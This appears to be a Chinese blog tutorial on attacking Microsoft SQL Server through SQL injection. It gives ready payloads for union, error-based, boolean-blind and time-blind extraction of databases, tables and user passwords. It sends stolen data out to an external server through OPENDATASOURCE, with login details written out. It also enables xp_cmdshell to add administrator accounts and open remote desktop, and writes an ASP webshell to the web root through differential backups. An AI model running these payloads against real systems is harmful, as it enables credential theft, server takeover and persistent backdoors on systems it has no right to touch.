0x00 MSSQL 基础

MSSQL系统自带库和表

  • 系统自带库

  • MSSQL安装后默认带了6个数据库,其中4个系统级库:master,model,tempdb和msdb;2个示例库:NorthwindTraders和pubs。

** 系统级自带库** 功能
master 系统控制数据库,包含所有配置信息,用户登录信息,当前系统运行情况
model 模板数据库,数据库时建立所有数据库的模板。
tempdb 临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件
msdb 主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息
  • 系统视图表

  • MSSQL数据库与MYSQL数据库一样,有安装自带数据表sysobjects和syscolumns等,我们需要了解

视图表 功能
sysobjects 记录了数据库中所有表,常用字段为id、name和xtype
syscolumns 记录了数据库中所有表的字段,常用字段为id、name和xtype
sys.databases SQL Server 中所有的数据库
sys.sql_logins SQL Server 中所有的登录名
information_schema.tables 当前用户数据库的表
information_schema.columns 当前用户数据库的列
sys.all_columns 用户定义和系统对象的所有列的联合
sys.database_principals 数据库中每个权限或列异常权限
sys.database_files 存储在数据库中数据库文件

MSSQL权限控制

  • 服务器角色

最高服务器角色 说明
sysadmin 执行 SQL Server中的任何动作
# 我们可以通过语句判断权限:
and 1=(select is_srvrolemember('sysadmin'))--+
  • 数据库角色

最高数据库角色 说明
db_owner 可以执行数据库中所有动作的用户
# 我们可以通过语句判断权限:
and 1=(select is_member('db_owner'))--+

MSSQL常用语句

# 创建数据库
create database [dbname];
create database test; # 删除数据库
drop database [dbname];
drop database test; # 创建新表
create table table_name (name char(10),age tinyint,sex int);
# 创建新表前要选择数据库,默认是master库
use test;
create table admin (users char(255),passwd char(255),sex int); # 删除新表
drop table table_name;
drop table dbo.admin; # 向表中插入数据
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1); # 删除内容
delete from table_name where column1=value1;
delete from admin where sex=2; # 更新内容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2; # 查找内容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
  • 排序&获取下一条数据

  • MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,

  • 使用 <> 来排除已经显示的数据,获取下一条数据。

  • 使用not in来排除已经显示的数据,获取下一条数据。

# 使用<>获取数据
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in获取数据
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+

0x01 常用函数总结

名称 功能
suser_name() 用户登录名
user_name() 用户在数据库中的名字
user 用户在数据库中的名字
db_name() 数据库名
@@version 返回SQL服务器版本相关信息
quotename() 在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行
WAITFOR DELAY '0:0:n' '时:分:秒',WAITFOR DELAY '0:0:5'表示等待5秒后执行
substring() 截取字符串 substr(字符串,开始截取位置,截取长度) ,例如substring('abcdef',1,2) 表示从第一位开始,截取2位,即 'ab'

0x02 常见注入类型

union联合查询注入

**1.判断注入点及类型**
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此处是字符型注入,需要单引号闭合 **2.判断字段数**
?id=1' order by 3--+
?id=1' order by 4--+ **3.联合查询判断回显点**
?id=0' union select 1,2,3--+ **4.获取当前数据库名字和版本信息**
?id=0' union select 1,db_name(),@@version--+ **5.获取所有的数据库名**
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+ **6.获取所有的表名**
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+ **7.获取所有的字段名**
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+ ?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')-- **8.获取users表账号密码信息**
?id=0' union select top 1 1,username,password from users--+

error 注入

  • MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。
**1.判断注入点**
id=1 **2.判断是否为MSSQL数据库**
# 返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects) **3.判断数据库版本号**
id=1 and @@version>0--+
# @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了
# 版本号:nt5.2:2003 nt6.0:2008 **4.获取当前数据库名**
and db_name()>0--+
and 1=db_name()--+
# 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果 **5.判断当前服务器拥有的权限**
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+ **6.判断当前角色是否为DB_OWNER**
and 1=(select is_member('db_owner'))--+
# db_owner权限可以通过备份方式向目标网站写文件 **7.获取当前用户名**
and user_name()>0--+ 8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值来获取所有的数据库 **9.获取数据库的个数**
and 1=(select quotename(count(name)) from master.sys.databases)--+
**
10.一次性获取所有数据库库**
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+ **11.获取所有的表名**
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。 **12.获取字段名**
# 通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+ **13.获取表中数据**
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+

bool盲注

**1.** **判断注入点 **
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+ **2.猜解数据库个数**
id=1 and (select count(*) from sys.databases)=7--+ # 存在7个数据库 **3.猜解数据库名长度**
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+ # 当前数据库名长度为4 **4.猜解数据库名**
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+ **5.猜解表名**
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+ **6.猜解字段名 **
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+ **7.猜解表中数据**
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+

time 盲注

**1.判断是否存在注入**
id=1 WAITFOR DELAY '0:0:5'--+ **2.判断权限**
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+ **3.查询当前数据库的长度和名字**
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+ **4.查询数据库的版本**
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M **5.查询表个数**
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6 **6.查询第一个表的长度**
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+ **7.查询第一个表的表名**
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+ **8.查询第二个表的长度**
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+ **9.查询第二个表的名字**
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+ **10.查询第一个表中的字段**
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+ **11.查询字段类型**
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+ **12.查询数据**
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--

反弹注入

  • 就像在Mysql中可以通过dnslog外带,Oracle可以通过python搭建一个http服务器接收外带的数据一样,在MSSQL数据库中,我们同样有方法进行数据外带,那就是通过反弹注入外带数据。

  • 反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。

  • 反弹注入需要使用opendatasource函数。

OPENDATASOURCE函数

  • OPENDATASOURCE(provider_name,init_string)

  • 使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

反弹注入一般流程

  1. 连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。这里因为我想查询的是数据库库名,所以新建一个表里面只有一个字段,类型为varchar。
CREATE TABLE test(name VARCHAR(255))
  1. 获取数据库所有表

使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。

# 查询sysobjects表
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.sysobjects where xtype='U' --+ # 查询information_schema数据库
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selecttable_name from information_schema.tables--+

在数据库成功获取数据

  1. 获取数据库admin表中的所有列名
# 查询information_schema数据库
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selectcolumn_name from information_schema.columns where table_name='admin'--+ # 查询syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.syscolumns where id=1977058079--+

  1. 获取数据

  2. 首先新建一个表,里面放三个字段,分别是id,username和passwd。

CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))
  1. 获取admin表中的数据
id=1;insert intoopendatasource('sqloledb','[server=SQL5095.site4now.net](http://server=SQL5095.site4now.net),1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data selectid,username,passwd from admin--+

0x03扩展存储过程

在SQL注入攻击过程中,最常利用到的扩展存储

扩展存储过程 说明
xp_cmdshell 直接执行系统命令
xp_regread 进行注册表读取
xp_regwrite 写入到注册表
xp_dirtree 进行列目录操作
xp_ntsec_enumdomains 查看domain信息
xp_subdirs 通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹

xp_cmdshell详细使用方法

xp_cmdshell默认在** mssql2000中是开启** 的,在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用** sp_configure重新开启** 它

execute('sp_configure "show advanced options",1')  # 将该选项的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure "xp_cmdshell", 1') # 将xp_cmdshell的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure') # 查看配置
execute('xp_cmdshell "whoami"') # 执行系统命令 exec sp_configure 'show advanced options',1; # 将该选项的值设置为1
reconfigure; # 保存设置
exec sp_configure 'xp_cmdshell',1; # 将xp_cmdshell的值设置为1
reconfigure; # 保存设置
exec sp_configure; # 查看配置
exec xp_cmdshell 'whoami'; # 执行系统命令 # 可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限
exec xp_cmdshell 'net user Guest 123456' # 给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' # 激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' # 将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 开启3389端口

0x04扩展存储getshell

  • 条件
  1. 数据库是 db_owner 权限

  2. 扩展存储必须开启,涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread

**1.查看是否禁用扩展存储过程xp_cmdshell**
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+ **2.执行命令**
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+

0x05差异备份getshell

差异备份简介

  • 差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

差异备份的大概流程

**1.完整备份一次(保存位置当然可以改)**
backup database 库名 to disk = 'c:\ddd.bak';--+ **2.创建表并插入数据**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+ **3.进行差异备份**
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+ # 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>

测试案例

  • 测试例子中我目标网站的绝对路径是E:\wwwroot\asp_sqli,数据库名是asp_test
  1. 完整备份一次
id=1;backup%20database%20asp_test%20to%20disk%20=%27E:\wwwroot\asp_sqli\ddd.bak%27;--+

  1. 创建表并插入数据
id=1;create%20table%20[dbo].[dtest]%20([cmd][image]);--+
id=1;insert%20into%20dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+

  1. 进行差异备份
id=1;backup%20database%20asp_test%20to%20disk=%27E:\wwwroot\asp_sqli\d.asp%27%20WITH%20DIFFERENTIAL,FORMAT;--

最新文章

  1. iOS 关于本地持久化存储的探讨
  2. 生成一行html
  3. sql 入门经典(第五版) Ryan Stephens 学习笔记 (第六,七,八,九,十章,十一章,十二章)
  4. IOS基础之 (四) OC对象
  5. 数据接口管理工具 thx RAP
  6. selenium python (七)层级定位(二次定位)
  7. sharepoint 2010
  8. I.MX6 Ubuntu core porting
  9. Tornado自定义分布式session框架
  10. 小白的Python之路 day2 文件操作
  11. 如何解决Linux 系统下 ifconfig 命令无网络接口 ens33
  12. Kubernetes生态工具
  13. mysql基础SQL练习
  14. Python爬虫【一】爬虫的基本原理
  15. SpringBoot 整合使用dubbo
  16. 数据迁移_把RAC环境备份的数据,恢复到另一台单机Oracle本地文件系统下
  17. ThinkPHP_5对数据库的CURL操作
  18. Reloading Java Classes 101: Objects, Classes and ClassLoaders Translation
  19. sqrtx-开平方
  20. STORJ 有实际应用

热门文章

  1. python刷题第二周
  2. jmeter监控linux服务器资源
  3. nginx与mysql安装
  4. CF786C-Till I Collapse【树状数组倍增,优先队列】
  5. YbtOJ#791-子集最值【三维偏序】
  6. VUE自学日志02-应用与组件实例
  7. Java学习路线【转】
  8. 「JOISC 2020 Day2」变态龙之色 题解
  9. 题解 Christmas Game
  10. 洛谷4103 HEOI2014大工程(虚树+dp)